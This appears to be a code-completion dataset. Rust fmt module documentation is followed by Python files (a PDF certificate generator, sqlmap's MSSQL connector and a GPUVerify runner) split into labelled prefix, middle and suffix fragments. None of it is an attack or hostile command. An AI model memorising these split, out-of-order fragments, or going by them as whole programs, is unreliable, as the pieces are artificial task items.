`{:08}` would yield `00000001` for the integer `1`, while the //! same format would yield `-0000001` for the integer `-1`. Notice that //! the negative version has one fewer zero than the positive version. //! Note that padding zeros are always placed after the sign (if any) //! and before the digits. When used together with the `#` flag, a similar //! rule applies: padding zeros are inserted after the prefix but before //! the digits. The prefix is included in the total width. //! //! ## Precision //! //! For non-numeric types, this can be considered a "maximum width". If the resulting string is //! longer than this width, then it is truncated down to this many characters and that truncated //! value is emitted with proper `fill`, `alignment` and `width` if those parameters are set. //! //! For integral types, this is ignored. //! //! For floating-point types, this indicates how many digits after the decimal point should be //! printed. //! //! There are three possible ways to specify the desired `precision`: //! //! 1. An integer `.N`: //! //! the integer `N` itself is the precision. //! //! 2. An integer or name followed by dollar sign `.N$`: //! //! use format *argument* `N` (which must be a `usize`) as the precision. //! //! 3. An asterisk `.*`: //! //! `.*` means that this `{...}` is associated with *two* format inputs rather than one: the //! first input holds the `usize` precision, and the second holds the value to print. Note that //! in this case, if one uses the format string `{<arg>:<spec>.*}`, then the `<arg>` part refers //! to the *value* to print, and the `precision` must come in the input preceding `<arg>`. //! //! For example, the following calls all print the same thing `Hello x is 0.01000`: //! //! ``` //! // Hello {arg 0 ("x")} is {arg 1 (0.01) with precision specified inline (5)} //! println!("Hello {0} is {1:.5}", "x", 0.01); //! //! // Hello {arg 1 ("x")} is {arg 2 (0.01) with precision specified in arg 0 (5)} //! println!("Hello {1} is {2:.0$}", 5, "x", 0.01); //! //! // Hello {arg 0 ("x")} is {arg 2 (0.01) with precision specified in arg 1 (5)} //! println!("Hello {0} is {2:.1$}", "x", 5, 0.01); //! //! // Hello {next arg ("x")} is {second of next two args (0.01) with precision //! // specified in first of next two args (5)} //! println!("Hello {} is {:.*}", "x", 5, 0.01); //! //! // Hello {next arg ("x")} is {arg 2 (0.01) with precision //! // specified in its predecessor (5)} //! println!("Hello {} is {2:.*}", "x", 5, 0.01); //! //! // Hello {next arg ("x")} is {arg "number" (0.01) with precision specified //! // in arg "prec" (5)} //! println!("Hello {} is {number:.prec$}", "x", prec = 5, number = 0.01); //! ``` //! //! While these: //! //! ``` //! println!("{}, `{name:.*}` has 3 fractional digits", "Hello", 3, name=1234.56); //! println!("{}, `{name:.*}` has 3 characters", "Hello", 3, name="1234.56"); //! println!("{}, `{name:>8.*}` has 3 right-aligned characters", "Hello", 3, name="1234.56"); //! ``` //! //! print three significantly different things: //! //! ```text //! Hello, `1234.560` has 3 fractional digits //! Hello, `123` has 3 characters //! Hello, ` 123` has 3 right-aligned characters //! ``` //! //! ## Localization //! //! In some programming languages, the behavior of string formatting functions //! depends on the operating system's locale setting. The format functions //! provided by Rust's standard library do not have any concept of locale and //! will produce the same results on all systems regardless of user //! configuration. //! //! For example, the following code will always print `1.5` even if the system //! locale uses a decimal separator other than a dot. //! //! ``` //! println!("The value is {}", 1.5); //! ``` //! //! # Escaping //! //! The literal characters `{` and `}` may be included in a string by preceding //! them with the same character. For example, the `{` character is escaped with //! `{{` and the `}` character is escaped with `}}`. //! //! ``` //! assert_eq!(format!("Hello {{}}"), "Hello {}"); //! assert_eq!(format!("{{ Hello"), "{ Hello"); //! ``` //! //! # Syntax //! //! To summarize, here you can find the full grammar of format strings. //! The syntax for the formatting language used is drawn from other languages, //! so it should not be too alien. Arguments are formatted with Python-like //! syntax, meaning that arguments are surrounded by `{}` instead of the C-like //! `%`. The actual grammar for the formatting syntax is: //! //! ```text //! format_string := text [ maybe_format text ] * //! maybe_format := '{' '{' | '}' '}' | format //! format := '{' [ argument ] [ ':' format_spec ] '}' //! argument := integer | identifier //! //! format_spec := [[fill]align][sign]['#']['0'][width]['.' precision]type //! fill := character //! align := '<' | '^' | '>' //! sign := '+' | '-' //! width := count //! precision := count | '*' //! type := '' | '?' | 'x?' | 'X?' | identifier //! count := parameter | integer //! parameter := argument '$' //! ``` //! In the above grammar, `text` must not contain any `'{'` or `'}'` characters. //! //! # Formatting traits //! //! When requesting that an argument be formatted with a particular type, you //! are actually requesting that an argument ascribes to a particular trait. //! This allows multiple actual types to be formatted via `{:x}` (like [`i8`] as //! well as [`isize`]). The current mapping of types to traits is: //! //! * *nothing* ⇒ [`Display`] //! * `?` ⇒ [`Debug`] //! * `x?` ⇒ [`Debug`] with lower-case hexadecimal integers //! * `X?` ⇒ [`Debug`] with upper-case hexadecimal integers //! * `o` ⇒ [`Octal`] //! * `x` ⇒ [`LowerHex`] //! * `X` ⇒ [`UpperHex`] //! * `p` ⇒ [`Pointer`] //! * `b` ⇒ [`Binary`] //! * `e` ⇒ [`LowerExp`] //! * `E` ⇒ [`UpperExp`] //! //! What this means is that any type of argument which implements the //! [`fmt::Binary`][`Binary`] trait can then be formatted with `{:b}`. Implementations //! are provided for these traits for a number of primitive types by the //! standard library as well. If no format is specified (as in `{}` or `{:6}`), //! then the format trait used is the [`Display`] trait. //! //! When implementing a format trait for your own type, you will have to //! implement a method of the signature: //! //! ``` //! # #![allow(dead_code)] //! # use std::fmt; //! # struct Foo; // our custom type //! # impl fmt::Display for Foo { //! fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { //! # write!(f, "testing, testing") //! # } } //! ``` //! //! Your type will be passed as `self` by-reference, and then the function //! should emit output into the `f.buf` stream. It is up to each format trait //! implementation to correctly adhere to the requested formatting parameters. //! The values of these parameters will be listed in the fields of the //! [`Formatter`] struct. In order to help with this, the [`Formatter`] struct also //! provides some helper methods. //! //! Additionally, the return value of this function is [`fmt::Result`] which is a //! type alias of <code>[Result]<(), [std::fmt::Error]></code>. Formatting implementations //! should ensure that they propagate errors from the [`Formatter`] (e.g., when //! calling [`write!`]). However, they should never return errors spuriously. That //! is, a formatting implementation must and may only return an error if the //! passed-in [`Formatter`] returns an error. This is because, contrary to what //! the function signature might suggest, string formatting is an infallible //! operation. This function only returns a result because writing to the //! underlying stream might fail and it must provide a way to propagate the fact //! that an error has occurred back up the stack. //! //! An example of implementing the formatting traits would look //! like: //! //! ``` //! use std::fmt; //! //! #[derive(Debug)] //! struct Vector2D { //! x: isize, //! y: isize, //! } //! //! impl fmt::Display for Vector2D { //! fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { //! // The `f` value implements the `Write` trait, which is what the //! // write! macro is expecting. Note that this formatting ignores the //! // various flags provided to format strings. //! write!(f, "({}, {})", self.x, self.y) //! } //! } //! //! // Different traits allow different forms of output of a type. The meaning //! // of this format is to print the magnitude of a vector. //! impl fmt::Binary for Vector2D { //! fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { //! let magnitude = (self.x * self.x + self.y * self.y) as f64; //! let magnitude = magnitude.sqrt(); //! //! // Respect the formatting flags by using the helper method //! // `pad_integral` on the Formatter object. See the method //! // documentation for details, and the function `pad` can be used //! // to pad strings. //! let decimals = f.precision().unwrap_or(3); //! let string = format!("{:.*}", decimals, magnitude); //! f.pad_integral(true, "", &string) //! } //! } //! //! fn main() { //! let myvector = Vector2D { x: 3, y: 4 }; //! //! println!("{}", myvector); // => "(3, 4)" //! println!("{:?}", myvector); // => "Vector2D {x: 3, y:4}" //! println!("{:10.3b}", myvector); // => " 5.000" //! } //! ``` //! //! ### `fmt::Display` vs `fmt::Debug` //! //! These two formatting traits have distinct purposes: //! //! - [`fmt::Display`][`Display`] implementations assert that the type can be faithfully //! represented as a UTF-8 string at all times. It is **not** expected that //! all types implement the [`Display`] trait. //! - [`fmt::Debug`][`Debug`] implementations should be implemented for **all** public types. //! Output will typically represent the internal state as faithfully as possible. //! The purpose of the [`Debug`] trait is to facilitate debugging Rust code. In //! most cases, using `#[derive(Debug)]` is sufficient and recommended. //! //! Some examples of the output from both traits: //! //! ``` //! assert_eq!(format!("{} {:?}", 3, 4), "3 4"); //! assert_eq!(format!("{} {:?}", 'a', 'b'), "a 'b'"); //! assert_eq!(format!("{} {:?}", "foo\n", "bar\n"), "foo\n \"bar\\n\""); //! ``` //! //! # Related macros //! //! There are a number of related macros in the [`format!`] family. The ones that //! are currently implemented are: //! //! ```ignore (only-for-syntax-highlight) //! format! // described above //! write! // first argument is a &mut io::Write, the destination //! writeln! // same as write but appends a newline //! print! // the format string is printed to the standard output //! println! // same as print but appends a newline //! eprint! // the format string is printed to the standard error //! eprintln! // same as eprint but appends a newline //! format_args! // described below. //! ``` //! //! ### `write!` //! //! This and [`writeln!`] are two macros which are used to emit the format string //! to a specified stream. This is used to prevent intermediate allocations of //! format strings and instead directly write the output. Under the hood, this //! function is actually invoking the [`write_fmt`] function defined on the //! [`std::io::Write`] trait. Example usage is: //! //! ``` //! # #![allow(unused_must_use)] //! use std::io::Write; //! let mut w = Vec::new(); //! write!(&mut w, "Hello {}!", "world"); //! ``` //! //! ### `print!` //! //! This and [`println!`] emit their output to stdout. Similarly to the [`write!`] //! macro, the goal of these macros is to avoid intermediate allocations when //! printing output. Example usage is: //! //! ``` //! print!("Hello {}!", "world"); //! println!("I have a newline {}", "character at the end"); //! ``` //! ### `eprint!` //! //! The [`eprint!`] and [`eprintln!`] macros are identical to //! [`print!`] and [`println!`], respectively, except they emit their //! output to stderr. //! //! ### `format_args!` //! //! This is a curious macro used to safely pass around //! an opaque object describing the format string. This object //! does not require any heap allocations to create, and it only //! references information on the stack. Under the hood, all of //! the related macros are implemented in terms of this. First //! off, some example usage is: //! //! ``` //! # #![allow(unused_must_use)] //! use std::fmt; //! use std::io::{self, Write}; //! //! let mut some_writer = io::stdout(); //! write!(&mut some_writer, "{}", format_args!("print with a {}", "macro")); //! //! fn my_fmt_fn(args: fmt::Arguments) { //! write!(&mut io::stdout(), "{}", args); //! } //! my_fmt_fn(format_args!(", or a {} too", "function")); //! ``` //! //! The result of the [`format_args!`] macro is a value of type [`fmt::Arguments`]. //! This structure can then be passed to the [`write`] and [`format`] functions //! inside this module in order to process the format string. //! The goal of this macro is to even further prevent intermediate allocations //! when dealing with formatting strings. //! //! For example, a logging library could use the standard formatting syntax, but //! it would internally pass around this structure until it has been determined //! where output should go to. //! //! [`fmt::Result`]: Result "fmt::Result" //! [Result]: core::result::Result "std::result::Result" //! [std::fmt::Error]: Error "fmt::Error" //! [`write`]: write() "fmt::write" //! [`to_string`]: crate::string::ToString::to_string "ToString::to_string" //! [`write_fmt`]: ../../std/io/trait.Write.html#method.write_fmt //! [`std::io::Write`]: ../../std/io/trait.Write.html //! [`print!`]: ../../std/macro.print.html "print!" //! [`println!`]: ../../std/macro.println.html "println!" //! [`eprint!`]: ../../std/macro.eprint.html "eprint!" //! [`eprintln!`]: ../../std/macro.eprintln.html "eprintln!" //! [`fmt::Arguments`]: Arguments "fmt::Arguments" //! [`format`]: format() "fmt::format" #![stable(feature = "rust1", since = "1.0.0")] #[unstable(feature = "fmt_internals", issue = "none")] pub use core::fmt::rt; #[stable(feature = "fmt_flags_align", since = "1.28.0")] pub use core::fmt::Alignment; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::Error; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{write, ArgumentV1, Arguments}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{Binary, Octal}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{Debug, Display}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{DebugList, DebugMap, DebugSet, DebugStruct, DebugTuple}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{Formatter, Result, Write}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{LowerExp, UpperExp}; #[stable(feature = "rust1", since = "1.0.0")] pub use core::fmt::{LowerHex, Pointer, UpperHex}; #[cfg(not(no_global_oom_handling))] use crate::string; /// The `format` function takes an [`Arguments`] struct and returns the resulting /// formatted string. /// /// The [`Arguments`] instance can be created with the [`format_args!`] macro. /// /// # Examples /// /// Basic usage: /// /// ``` /// use std::fmt; /// /// let s = fmt::format(format_args!("Hello, {}!", "world")); /// assert_eq!(s, "Hello, world!"); /// ``` /// /// Please note that using [`format!`] might be preferable. /// Example: /// /// ``` /// let s = format!("Hello, {}!", "world"); /// assert_eq!(s, "Hello, world!"); /// ``` /// /// [`format_args!`]: core::format_args /// [`format!`]: crate::format #[cfg(not(no_global_oom_handling))] #[must_use] #[stable(feature = "rust1", since = "1.0.0")] pub fn format(args: Arguments<'_>) -> string::String { let capacity = args.estimated_capacity(); let mut output = string::String::with_capacity(capacity); output.write_fmt(args).expect("a formatting trait implementation returned an error"); output }
//! ``` //! // All of these print "Hello x !" //! println!("Hello {:5}!", "x");
random_line_split
gendocert.py
#!/usr/bin/env python import sys from httplib import HTTPConnection from urllib import urlencode from urlparse import urljoin from json import loads from reportlab.pdfgen import canvas OUTPUTFILE = 'certificate.pdf' def get_brooklyn_integer(): ''' Ask Brooklyn Integers for a single integer. Returns a tuple with number and integer permalink. From: https://github.com/migurski/ArtisinalInts/ ''' body = 'method=brooklyn.integers.create' head = {'Content-Type': 'application/x-www-form-urlencoded'} conn = HTTPConnection('api.brooklynintegers.com', 80) conn.request('POST', '/rest/', body, head) resp = conn.getresponse() if resp.status not in range(200, 299): raise Exception('Non-2XX response code from Brooklyn: %d' % resp.status) data = loads(resp.read()) value = data['integer'] return value def draw_pdf(sparklydevop):
if __name__ == "__main__": if len(sys.argv) != 2: print 'Usage: gendocert.py "Firstname Lastname"' sys.exit(1) else: # TODO if this is run as a CGI need to sanitize input draw_pdf(sys.argv[1])
certimage = './devops.cert.png' # TODO make this a function of image size width = 1116 height = 1553 # Times Roman better fits the other fonts on the template font_name = "Times-Roman" # TODO make font size a function of name length font_size = 72 c = canvas.Canvas(OUTPUTFILE, pagesize=(width, height)) c.setFont(font_name, font_size) # Print Name name_offset = c.stringWidth(sparklydevop) try: c.drawImage(certimage, 1, 1) except IOError: print "I/O error trying to open %s" % certimage else: c.drawString((width-name_offset)/2, height*3/4, sparklydevop) # Print Certificate Number cert_number = "Certificate No. " + str(get_brooklyn_integer()) cert_offset = c.stringWidth(cert_number) c.drawString((width-cert_offset)/2, height*3/4-font_size*2, cert_number) c.showPage() # TODO check for write permissions/failure try: c.save() except IOError: print "I/O error trying to save %s" % OUTPUTFILE
identifier_body
gendocert.py
#!/usr/bin/env python import sys from httplib import HTTPConnection from urllib import urlencode from urlparse import urljoin from json import loads from reportlab.pdfgen import canvas OUTPUTFILE = 'certificate.pdf' def
(): ''' Ask Brooklyn Integers for a single integer. Returns a tuple with number and integer permalink. From: https://github.com/migurski/ArtisinalInts/ ''' body = 'method=brooklyn.integers.create' head = {'Content-Type': 'application/x-www-form-urlencoded'} conn = HTTPConnection('api.brooklynintegers.com', 80) conn.request('POST', '/rest/', body, head) resp = conn.getresponse() if resp.status not in range(200, 299): raise Exception('Non-2XX response code from Brooklyn: %d' % resp.status) data = loads(resp.read()) value = data['integer'] return value def draw_pdf(sparklydevop): certimage = './devops.cert.png' # TODO make this a function of image size width = 1116 height = 1553 # Times Roman better fits the other fonts on the template font_name = "Times-Roman" # TODO make font size a function of name length font_size = 72 c = canvas.Canvas(OUTPUTFILE, pagesize=(width, height)) c.setFont(font_name, font_size) # Print Name name_offset = c.stringWidth(sparklydevop) try: c.drawImage(certimage, 1, 1) except IOError: print "I/O error trying to open %s" % certimage else: c.drawString((width-name_offset)/2, height*3/4, sparklydevop) # Print Certificate Number cert_number = "Certificate No. " + str(get_brooklyn_integer()) cert_offset = c.stringWidth(cert_number) c.drawString((width-cert_offset)/2, height*3/4-font_size*2, cert_number) c.showPage() # TODO check for write permissions/failure try: c.save() except IOError: print "I/O error trying to save %s" % OUTPUTFILE if __name__ == "__main__": if len(sys.argv) != 2: print 'Usage: gendocert.py "Firstname Lastname"' sys.exit(1) else: # TODO if this is run as a CGI need to sanitize input draw_pdf(sys.argv[1])
get_brooklyn_integer
identifier_name
gendocert.py
#!/usr/bin/env python import sys from httplib import HTTPConnection from urllib import urlencode from urlparse import urljoin from json import loads from reportlab.pdfgen import canvas OUTPUTFILE = 'certificate.pdf' def get_brooklyn_integer(): ''' Ask Brooklyn Integers for a single integer. Returns a tuple with number and integer permalink. From: https://github.com/migurski/ArtisinalInts/ ''' body = 'method=brooklyn.integers.create' head = {'Content-Type': 'application/x-www-form-urlencoded'} conn = HTTPConnection('api.brooklynintegers.com', 80) conn.request('POST', '/rest/', body, head) resp = conn.getresponse() if resp.status not in range(200, 299): raise Exception('Non-2XX response code from Brooklyn: %d' % resp.status) data = loads(resp.read()) value = data['integer'] return value def draw_pdf(sparklydevop): certimage = './devops.cert.png' # TODO make this a function of image size width = 1116 height = 1553 # Times Roman better fits the other fonts on the template font_name = "Times-Roman" # TODO make font size a function of name length font_size = 72 c = canvas.Canvas(OUTPUTFILE, pagesize=(width, height)) c.setFont(font_name, font_size) # Print Name name_offset = c.stringWidth(sparklydevop) try: c.drawImage(certimage, 1, 1) except IOError: print "I/O error trying to open %s" % certimage else: c.drawString((width-name_offset)/2, height*3/4, sparklydevop) # Print Certificate Number cert_number = "Certificate No. " + str(get_brooklyn_integer()) cert_offset = c.stringWidth(cert_number) c.drawString((width-cert_offset)/2, height*3/4-font_size*2, cert_number) c.showPage() # TODO check for write permissions/failure
print "I/O error trying to save %s" % OUTPUTFILE if __name__ == "__main__": if len(sys.argv) != 2: print 'Usage: gendocert.py "Firstname Lastname"' sys.exit(1) else: # TODO if this is run as a CGI need to sanitize input draw_pdf(sys.argv[1])
try: c.save() except IOError:
random_line_split
gendocert.py
#!/usr/bin/env python import sys from httplib import HTTPConnection from urllib import urlencode from urlparse import urljoin from json import loads from reportlab.pdfgen import canvas OUTPUTFILE = 'certificate.pdf' def get_brooklyn_integer(): ''' Ask Brooklyn Integers for a single integer. Returns a tuple with number and integer permalink. From: https://github.com/migurski/ArtisinalInts/ ''' body = 'method=brooklyn.integers.create' head = {'Content-Type': 'application/x-www-form-urlencoded'} conn = HTTPConnection('api.brooklynintegers.com', 80) conn.request('POST', '/rest/', body, head) resp = conn.getresponse() if resp.status not in range(200, 299): raise Exception('Non-2XX response code from Brooklyn: %d' % resp.status) data = loads(resp.read()) value = data['integer'] return value def draw_pdf(sparklydevop): certimage = './devops.cert.png' # TODO make this a function of image size width = 1116 height = 1553 # Times Roman better fits the other fonts on the template font_name = "Times-Roman" # TODO make font size a function of name length font_size = 72 c = canvas.Canvas(OUTPUTFILE, pagesize=(width, height)) c.setFont(font_name, font_size) # Print Name name_offset = c.stringWidth(sparklydevop) try: c.drawImage(certimage, 1, 1) except IOError: print "I/O error trying to open %s" % certimage else: c.drawString((width-name_offset)/2, height*3/4, sparklydevop) # Print Certificate Number cert_number = "Certificate No. " + str(get_brooklyn_integer()) cert_offset = c.stringWidth(cert_number) c.drawString((width-cert_offset)/2, height*3/4-font_size*2, cert_number) c.showPage() # TODO check for write permissions/failure try: c.save() except IOError: print "I/O error trying to save %s" % OUTPUTFILE if __name__ == "__main__": if len(sys.argv) != 2: print 'Usage: gendocert.py "Firstname Lastname"' sys.exit(1) else: # TODO if this is run as a CGI need to sanitize input
draw_pdf(sys.argv[1])
conditional_block
connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import _mssql import pymssql except ImportError: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except pymssql.OperationalError, msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: raise SqlmapConnectionException(msg) return retVal def select(self, query):
retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal
identifier_body
connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import _mssql import pymssql except ImportError: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except pymssql.OperationalError, msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def
(self): try: return self.cursor.fetchall() except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: raise SqlmapConnectionException(msg) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal
fetchall
identifier_name
connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import _mssql import pymssql except ImportError: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except pymssql.OperationalError, msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: raise SqlmapConnectionException(msg) return retVal def select(self, query): retVal = None if self.execute(query):
return retVal
retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass
conditional_block
connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import _mssql import pymssql except ImportError: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector
Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except pymssql.OperationalError, msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: raise SqlmapConnectionException(msg) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal
class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php
random_line_split
GPUVerify.py
# vim: set sw=2 ts=2 softtabstop=2 expandtab: from . RunnerBase import RunnerBaseClass from .. Analysers.GPUVerify import GPUVerifyAnalyser import logging import os import psutil import re import sys import yaml _logger = logging.getLogger(__name__) class GPUVerifyRunnerException(Exception): def __init__(self, msg): self.msg = msg class GPUVerifyRunner(RunnerBaseClass): softTimeoutDiff = 5 def __init__(self, boogieProgram, workingDirectory, rc): _logger.debug('Initialising {}'.format(boogieProgram)) super(GPUVerifyRunner, self).__init__(boogieProgram, workingDirectory, rc) # Sanity checks # TODO self.softTimeout = self.maxTimeInSeconds if self.maxTimeInSeconds > 0: # We use GPUVerify's timeout function and enforce the # requested timeout and enforce a hard timeout slightly later self.maxTimeInSeconds = self.maxTimeInSeconds + self.softTimeoutDiff if not self.toolPath.endswith('.py'): raise GPUVerifyRunnerException( 'toolPath needs to be the GPUVerify python script') @property def name(self): return "gpuverify" def _buildResultDict(self): results = super(GPUVerifyRunner, self)._buildResultDict() # TODO: Remove this. It's now redundant results['hit_hard_timeout'] = results['backend_timeout'] return results def GetNewAnalyser(self, resultDict): return GPUVerifyAnalyser(resultDict) def run(self): # Run using python interpreter cmdLine = [ sys.executable, self.toolPath ] cmdLine.append('--timeout={}'.format(self.softTimeout)) # Note we ignore self.entryPoint _logger.info('Ignoring entry point {}'.format(self.entryPoint)) # GPUVerify needs PATH environment variable set env = {} path = os.getenv('PATH') if path == None:
env['PATH'] = path cmdLine.extend(self.additionalArgs) # Add the boogie source file as last arg cmdLine.append(self.programPathArgument) backendResult = self.runTool(cmdLine, isDotNet=False, envExtra=env) if backendResult.outOfTime: _logger.warning('GPUVerify hit hard timeout') def get(): return GPUVerifyRunner
path = ""
conditional_block
GPUVerify.py
# vim: set sw=2 ts=2 softtabstop=2 expandtab: from . RunnerBase import RunnerBaseClass from .. Analysers.GPUVerify import GPUVerifyAnalyser import logging import os import psutil import re import sys import yaml _logger = logging.getLogger(__name__) class GPUVerifyRunnerException(Exception): def __init__(self, msg): self.msg = msg class GPUVerifyRunner(RunnerBaseClass): softTimeoutDiff = 5 def __init__(self, boogieProgram, workingDirectory, rc): _logger.debug('Initialising {}'.format(boogieProgram)) super(GPUVerifyRunner, self).__init__(boogieProgram, workingDirectory, rc) # Sanity checks # TODO self.softTimeout = self.maxTimeInSeconds if self.maxTimeInSeconds > 0: # We use GPUVerify's timeout function and enforce the # requested timeout and enforce a hard timeout slightly later self.maxTimeInSeconds = self.maxTimeInSeconds + self.softTimeoutDiff if not self.toolPath.endswith('.py'): raise GPUVerifyRunnerException( 'toolPath needs to be the GPUVerify python script') @property def name(self): return "gpuverify" def _buildResultDict(self): results = super(GPUVerifyRunner, self)._buildResultDict() # TODO: Remove this. It's now redundant results['hit_hard_timeout'] = results['backend_timeout'] return results def GetNewAnalyser(self, resultDict): return GPUVerifyAnalyser(resultDict)
cmdLine = [ sys.executable, self.toolPath ] cmdLine.append('--timeout={}'.format(self.softTimeout)) # Note we ignore self.entryPoint _logger.info('Ignoring entry point {}'.format(self.entryPoint)) # GPUVerify needs PATH environment variable set env = {} path = os.getenv('PATH') if path == None: path = "" env['PATH'] = path cmdLine.extend(self.additionalArgs) # Add the boogie source file as last arg cmdLine.append(self.programPathArgument) backendResult = self.runTool(cmdLine, isDotNet=False, envExtra=env) if backendResult.outOfTime: _logger.warning('GPUVerify hit hard timeout') def get(): return GPUVerifyRunner
def run(self): # Run using python interpreter
random_line_split
GPUVerify.py
# vim: set sw=2 ts=2 softtabstop=2 expandtab: from . RunnerBase import RunnerBaseClass from .. Analysers.GPUVerify import GPUVerifyAnalyser import logging import os import psutil import re import sys import yaml _logger = logging.getLogger(__name__) class GPUVerifyRunnerException(Exception): def
